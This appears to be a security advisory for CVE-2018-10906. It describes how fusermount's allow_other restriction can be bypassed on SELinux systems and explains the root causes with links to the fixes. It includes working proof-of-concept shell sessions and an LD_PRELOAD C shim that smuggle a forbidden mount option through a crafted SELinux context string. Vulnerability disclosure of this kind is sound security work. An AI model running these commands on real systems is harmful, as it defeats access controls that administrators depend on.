fusermount Restriction Bypass

It is possible to bypass fusermount's restrictions on the use of the "allow_other" mount option as follows if SELinux is active.


MD5 | 9e10d920caa48857046e580c577e1ff4

fusermount user_allow_other restriction bypass and SELinux label control 

CVE-2018-10906


It is possible to bypass fusermount's restrictions on the use of the
"allow_other" mount option as follows if SELinux is active.

Here's a minimal demo, tested on a Debian system with SELinux enabled in
permissive mode:

===============================================
[email protected]:~$ mount|grep /mount
[email protected]:~$ grep user_allow_other /etc/fuse.conf
#user_allow_other
[email protected]:~$ _FUSE_COMMFD=10000 fusermount -o allow_other mount/
fusermount: option allow_other only allowed if 'user_allow_other' is set in /etc/fuse.conf
[email protected]:~$ _FUSE_COMMFD=10000 fusermount -o 'context=system_u:object_r:fusefs_t:s0-s0:c0-\,allow_other' mount
sending file descriptor: Bad file descriptor
[email protected]:~$ mount|grep /mount
/dev/fuse on /home/user/mount type fuse (rw,nosuid,nodev,relatime,context=system_u:object_r:fusefs_t:s0-s0:c0,user_id=1000,group_id=1000,allow_other)
===============================================

Here's a demo that actually mounts a real FUSE filesystem with allow_other,
again on a Debian system configured to use SELinux:
===============================================
[email protected]:~$ cat fuse-shim.c
#define _GNU_SOURCE
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
int execv(const char *path, char *const argv_[]) {
char **argv = (void*)argv_; /* cast away const */
for (char **argvp = argv; *argvp != NULL; argvp++) {
char *arg = *argvp;
for (char *p = arg; *p; p++) {
if (*p == '#') *p = '\\';
}
}
int (*execv_real)(const char *, char *const argv[]) = dlsym(RTLD_NEXT, "execv");
execv_real(path, argv_);
}
[email protected]:~$ gcc -shared -o fuse-shim.so fuse-shim.c -ldl
[email protected]:~$ echo hello world > hello.txt
[email protected]:~$ zip hello.zip hello.txt
adding: hello.txt (stored 0%)
[email protected]:~$ LD_PRELOAD=./fuse-shim.so fuse-zip -o 'context=system_u:object_r:fusefs_t:s0-s0:c0-#,allow_other' hello.zip mount
[email protected]:~$ mount|grep /mount
fuse-zip on /home/user/mount type fuse.fuse-zip (rw,nosuid,nodev,relatime,context=system_u:object_r:fusefs_t:s0-s0:c0,user_id=1000,group_id=1000,allow_other)
[email protected]:~$ sudo bash
[email protected]:/home/user# ls -laZ mount
total 5
drwxrwxr-x. 3 root root system_u:object_r:fusefs_t:s0-s0:c0 0 Jul 18 02:19 .
drwxr-xr-x. 30 user user system_u:object_r:unlabeled_t:s0 4096 Jul 18 02:19 ..
-rw-r--r--. 1 user user system_u:object_r:fusefs_t:s0-s0:c0 12 Jul 18 02:19 hello.txt
[email protected]:/home/user# cat mount/hello.txt
hello world
===============================================


I have tested that this also works on Fedora (which, unlike Debian, has SELinux
enabled by default.)


Unfortunately, I only noticed that this was possible after I publicly sent some
fusermount hardening patches (<a href="https://github.com/libfuse/libfuse/pull/268" title="" class="" rel="nofollow">https://github.com/libfuse/libfuse/pull/268</a>),
when the maintainer asked a question about one of the patches.


Breaking down the attack, the problems are:

1. fusermount's do_mount() is written as if backslashes escape commas in mount
options; however, this is only true for the "fsname" and "subtype"
pseudo-options filtered out by do_mount(). Neither SELinux nor the FUSE
filesystem follow those semantics. This means that an attacker can smuggle
a forbidden option through fusermount's checks if the previous option ends
with a backslash. However, no option accepted by the FUSE filesystem can end
with a backslash, so this seemed unexploitable at first.
This is fixed by the following commit in my pull request:
<a href="https://github.com/libfuse/libfuse/pull/268/commits/455e73588357" title="" class="" rel="nofollow">https://github.com/libfuse/libfuse/pull/268/commits/455e73588357</a>
2. fusermount uses a blacklist, not a whitelist; this blacklist does not contain
the mount options understood by the SELinux and Smack LSMs. LSMs have the
opportunity to grab mount options and make them invisible to the actual
filesystem through the security_sb_copy_data() security hook.
For this attack, I'm using the "context" option.
This is fixed by the following commit in my pull request:
<a href="https://github.com/libfuse/libfuse/pull/268/commits/d23efabfcee4" title="" class="" rel="nofollow">https://github.com/libfuse/libfuse/pull/268/commits/d23efabfcee4</a>
3. The SELinux LSM is slightly lax about parsing the level component of SELinux
context strings when the policy uses Multi-Level Security (MLS).
When using MLS, the format of a context string is
"<user>:<role>:<type>:<level>"; the level component is parsed by
mls_context_to_sid(). The level component is supposed to specify a
sensitivity range (one or two parts delimited with '-'); each part of the
range may be followed by ':' and a category set specification.
If the sensitivity range consists of two parts and the second part of the
range is followed by a category set, the function incorrectly marks a
trailing '-' and any following data until ':' or '\0' as consumed, but does
not actually parse this data. This allows an attacker to smuggle a backslash
through.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: jannh


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